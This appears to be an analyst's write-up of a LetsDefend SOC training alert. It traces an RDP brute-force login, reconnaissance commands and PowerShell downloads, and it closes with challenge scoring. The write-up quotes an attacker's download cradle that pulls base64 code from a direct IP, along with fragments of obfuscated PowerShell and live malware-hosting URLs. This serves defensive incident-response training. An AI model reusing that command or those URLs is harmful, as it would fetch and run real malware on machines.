

Event Information:

EventID :
265
Event Time :
Jun, 05, 2024, 11:54 AM
Rule :
SOC289 - Suspicious Invoke-WebRequest Execution With DirectIP
Level :
Incident Responder
Source Address :
172.16.17.245
Host :
Piers
Alert Trigger Reason :
Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access
Alert Trigger Command :
FromBase64String((New-Object
Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/ZQWER/DIIXF3.t
xt'
L1 Note :
I could not determine whether an authorized user or an attacker executed the command
that caused the alert on the system. However, minutes before the alert, I detected Brute
Force from IP 149.40.58.152.

Analysis Steps:

Logs were searched with attacker IP 149[.]40.58.152 as the source and hostname Piers
IP 172[.]16.17.245 as the destination in the relevant time-frame yielding 15 events. The
attacker at 149.40.58.152 tried multiple usernames (admin, user, test) and failed.
However, at 11:52 AM, they successfully guessed the password for the LetsDefend
account.

✓ 15 events (before Jun, 05, 2024, 11:52 AM UTC)

< Hide Fields INTERESTING FIELDS α type α source_address # source_port α destination_address # destination_port α raw_log	Event	
	Field	value
	type	OS
	source_address	149.40.58.152
	source_port	26758
	destination_address	172.16.17.245
	destination_port	3389
	time	Jun, 05, 2024, 11:52 AM
	Raw Log	
	Username	LetsDefend
	EventID	4624(An account was successfully logged on.)
	Logon Type	10(RemoteInteractive)
	Source IP	149.40.58.152

Once the attacker had a desktop window open, they opened a terminal and performed reconnaissance checks.

EVENT TIME	COMMAND LINE
2024-06-05 11:53:46	whoami
2024-06-05 11:53:52	whoami /groups
2024-06-05 11:54:15	ping google.com
2024-06-05 11:54:16	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
2024-06-05 11:55:12	\$ExeNy = 'J B2 HI bwBo Hg 9 C Jw w Cc Ow k G0 YwBh Go cg... 
2024-06-05 11:55:13	\$vrohx = '0';\$mcjrr = 'C:\Users\LetsDefend\Downloads\envifa.... 
2024-06-05 11:55:36	"C:\Program Files (x86)\chrome_Unpacker_BeginUnzipping8156_1... 
2024-06-05 11:57:27	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

whoami and whoami /groups: Checking to see if the LetsDefend account has Administrator privileges.

ping google.com: Confirming the machine has an active outbound internet connection so they can download malware.

svchost.exe -k netsvcs -p -s BITS: Background Intelligent Transfer Service (BITS). Attackers use BITS to download malicious files quietly in the background to mimic Windows Update traffic.

Chunks of obfuscated PowerShell code can be observed being loaded into variables (\$ExeNy = ...).

The browser history of the endpoint shows a download attempt for a VBScript.

EVENT TIME	DOMAIN NAME/URL
2024-06-05 08:00:00	https://www.windowslatest.com/
2024-06-05 08:20:32	https://www.windowscentral.com/windows-11/
2024-06-05 08:35:45	https://www.pcworld.com/windows/
2024-06-05 08:45:19	https://www.digitaltrends.com/computing/windows-10-tips/
2024-06-05 09:30:53	https://www.windowsreport.com/windows/
2024-06-05 10:00:27	https://www.howtogeek.com/windows/
2024-06-05 10:40:11	https://www.microsoft.com/en-us/windows/windows-11/
2024-06-05 11:26:43	https://www.windowscentral.com/
2024-06-05 11:30:02	https://www.cnet.com/how-to/best-windows-software/
2024-06-05 11:54:46	<u>http://191.98.25.251/envifa.vbs</u>

It can be observed in the logs that this download was Allowed.

Event	
type	Proxy
source_address	172.16.17.245
source_port	41792
destination_address	191.98.25.251
destination_port	80
time	Jun, 05, 2024, 11:54 AM
Raw Log	
Date	2024-06-05 11:54:52
Device Action	Allowed
Source Process	chrome.exe
URL	http://191.98.25.251/envifa.vbs

As well as the download which initially triggered the alert being a successful GET request which was Allowed.

^	source_port	23697
	destination_address	91.202.233.169
	destination_port	80
	time	Jun, 05, 2024, 11:55 AM
	Raw Log	
	Date	2024-06-05 11:55:15
	Device Action	Allowed
	Source Process	Powershell.exe
	URL	http://91.202.233.169/Tak/Reg/Marz/ZQWER/PeF3Dir.txt
	Request	GET
	Status	SUCCESS

The offending Brute Force IP is not in our CTI database and is external to the organisation. No emails have been received indicating penetration testing involving the IP for the relevant time period. VirusTotal indicates it is a US address associated with 149[.]40.58.152 AS 212238 (Datacamp Limited). 0/91 vendors flag the IP as suspicious.

0

/ 91

Community Score

No security vendor flagged this IP address as malicious

149.40.58.152 (149.40.48.0/20)
AS 212238 (Datacamp Limited)
vpn

US
Last Analysis Date
4 days ago

Reanalyze More

DETECTIONDETAILSRELATIONSCOMMUNITY1

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis ⓘ

Do you want to automate checks?

Abusix	Clean	Acronis	Clean
ADMINUSLabs	Clean	AILabs (MONITORAPP)	Clean

On AbuseIPDB this IP was reported 67 times with a 11% confidence of abuse.

149.40.58.152 was found in our database!

This IP was reported 67 times. Confidence of Abuse is 11%: ?

11%

ISP	Datacamp Limited
Usage Type	Data Center/Web Hosting/Transit
ASN	AS212238
Hostname(s)	unn-149-40-58-152.datapacket.com
Domain Name	datacamp.co.uk
Country	United States of America
City	Houston, Texas

The first IP associated with hosting malicious content is not in our CTI database and is external to the organisation. VirusTotal indicates it is a Colombian address associated with 191[.]98.25.251 AS 13489 (UNE EPM TELECOMUNICACIONES S.A.). 10/91 vendors flag the IP as suspicious after reanalysing the IP as last analysis was two months old this dropped to 6/91.

6

/ 91

Community Score

6/91 security vendors flagged this IP address as malicious

191.98.25.251 (191.98.0.0/17)
AS 13489 (UNE EPM TELECOMUNICACIONES S.A.)

CO

Last Analysis Date
1 minute ago

DETECTION

DETAILS

RELATIONS

COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Do you want to automate checks?

alphaMountain.ai	Malicious	BitDefender	Phishing
Emsisoft	Malware	Forcepoint ThreatSeeker	Malicious
G-DATA	Phishing	Webroot	Malicious
Abusix	Clean	Acronis	Clean

On AbuseIPDB the IP has been reported 0 time and confidence of abuse is 0%.

191.98.25.251 was not found in our database

This IP was reported 0 times. Confidence of Abuse is 0%:

0%

ISP

UNE EPM TELECOMUNICACIONES S.A.

Usage Type

Fixed Line ISP

ASN

[AS13489](#)

Hostname(s)

pei-191-98-xxv-ccli.une.net.co

Domain Name

une.com.co

Country

 Colombia

City

Pereira, Risaralda Department

The first IP associated with hosting malicious content is listed extensively in our CTI database and is external to the organisation.

DATE	DATA TYPE	DATA	TAG	DATA SOURCE
Jun, 05, 2024, 08:32 AM	URL	http://91.202.233.169/Tak/Reg/Marz/ZQWER/DIIX...	malware_dow...	https://urlhau...
Jun, 05, 2024, 08:32 AM	URL	http://91.202.233.169/Tak/Reg/Marz/ZQWER/PeF...	malware_dow...	https://urlhau...
Jul, 12, 2024, 09:49 PM	URL	https://91.202.233.169/Tak/Reg/Marz/SGRH/Rz.txt	malware_dow...	https://urlhau...
Jul, 12, 2024, 09:49 PM	URL	https://91.202.233.169/Tak/Reg/Marz/SGRH/ny1.t...	malware_dow...	https://urlhau...
Jul, 12, 2024, 09:49 PM	URL	https://91.202.233.169/Tak/Reg/Marz/SGRH/Nous...	malware_dow...	https://urlhau...
Jul, 12, 2024, 09:49 PM	URL	https://91.202.233.169/Tak/Reg/Marz/SGRH/Nous...	malware_dow...	https://urlhau...
Jul, 12, 2024, 09:49 PM	URL	http://91.202.233.169/Tak/Reg/Marz/SGRH/Rup.txt	malware_dow...	https://urlhau...
Jul, 12, 2024, 09:49 PM	URL	http://91.202.233.169/Tak/Reg/Marz/SGRH/Nous...	malware_dow...	https://urlhau...
Jul, 12, 2024, 09:49 PM	URL	https://91.202.233.169/Tak/Reg/Marz/SGRH/Nous...	malware_dow...	https://urlhau...
Jul, 12, 2024, 09:49 PM	URL	https://91.202.233.169/Tak/Reg/Marz/SGRH/Nous...	malware_dow...	https://urlhau...

It is tagged as malware_download with via the data source:
hxxps://urlhaus.abuse[.]ch/url/2875723/

VirusTotal indicates it is a Turkmenistan address associated with 91[.]202.233.169 AS 200593 (Prospero Ooo). 11/91 vendors flag the IP as suspicious as of three days ago.

11

/ 91

Community Score

-2

11/91 security vendors flagged this IP address as malicious

91.202.233.169 (91.202.233.0/24)

AS 200593 (Prospero Ooo)

TM

Last Analysis Date

3 days ago

DETECTION

DETAILS

RELATIONS

COMMUNITY 3

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis ⓘ

Do you want to automate checks?

alphaMountain.ai	ⓘ Phishing	Chong Lua Dao	ⓘ Malicious
CRDF	ⓘ Malicious	CyRadar	ⓘ Malicious
Dr.Web	ⓘ Malicious	Emsisoft	ⓘ Malware
ESET	ⓘ Malware	Forcepoint ThreatSeeker	ⓘ Malicious

On AbuseIPDB the IP has been reported 0 time and confidence of abuse is 0%. They associate the IP with Russia.

91.202.233.169 was not found in our database

This IP was reported 0 times. Confidence of Abuse is 0%: ?

0%

ISP	PROSPERO OOO
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200593
Domain Name	pro-spero.ru
Country	 Russian Federation
City	Saint Petersburg, St.-Petersburg

Based on following Playbook procedure and the analysis of available information, this alert is determined to be a successful True Positive.

Report:

Incident Summary Analysis confirms a successful True Positive network breach and malware execution on the host Piers (172[.]16.17.245). An external threat actor gained interactive desktop access via RDP brute force. The attacker then performed system reconnaissance and successfully executed obfuscated PowerShell to download secondary malicious payloads.

Incident Details

- **Alert Name:** SOC289 - Suspicious Invoke-WebRequest Execution With DirectIP
- **Attacker IP (Brute Force):** 149[.]40.58.152 AS 212238 (Datacamp Limited)
- **Payload Hosting IPs:** 191[.]98.25.251 and 91[.]202.233.169
- **Target Host:** Piers (172[.]16.17.245)
- **Attack Vector:** RDP Brute Force leading to Post-Compromise Malware Execution

Analysis and Evidence

- **Initial Access:** Endpoint logs confirm a successful RemoteInteractive (Type 10) logon at 11:52 AM by 149[.]40.58.152 using the LetsDefend account, immediately following multiple failed brute force attempts against other usernames.
- **Reconnaissance & Setup:** Terminal history shows the attacker executing whoami, ping google.com, and configuring the Background Intelligent Transfer Service (BITS).
- **Execution & Delivery:** The attacker executed obfuscated PowerShell variables and successfully downloaded an envifa.vbs script. A subsequent Invoke-WebRequest successfully downloaded PeF3Dir.txt from a Direct IP. Proxy logs confirm both downloads were Allowed.

Threat Intelligence

- **OSINT:** The brute force IP (149[.]40.58.152) has a low detection rate (0/91 VT, 11% AbuseIPDB). The payload IPs (191[.]98.25.251 and 91[.]202.233.169) are flagged as malicious/suspicious by multiple security vendors on VirusTotal and are heavily associated with malware hosting.
- **Internal Correlation:** A review of internal communications confirmed no authorised Red Team testing scheduled involving any devices related to this alert in the relevant time-frame.

Actions Taken

1. Contained host Piers (172[.]16.17.245) to prevent lateral movement.
2. Initiated a mandatory password reset for the compromised LetsDefend domain account.
3. Declared True Positive.
4. Initiated Tier 2 endpoint remediation and malware removal.

Let's Defend Result

SOC289 - Suspicious Invoke-WebRequest Execution With DirectIP

True Positive (+5 Point)

Check If Someone Requested the C2 (+5 Point)

Which technique(s) was used as an execution tactic? (+5 Point)

Has the malware been executed on the device? (+5 Point)

Check if the malware is quarantined/cleaned (+5 Point)

Define Scope (+5 Point)

What is the initial access method used in the attack? (+5 Point)

Malware Type (+5 Point)

Analyze Malware (+5 Point)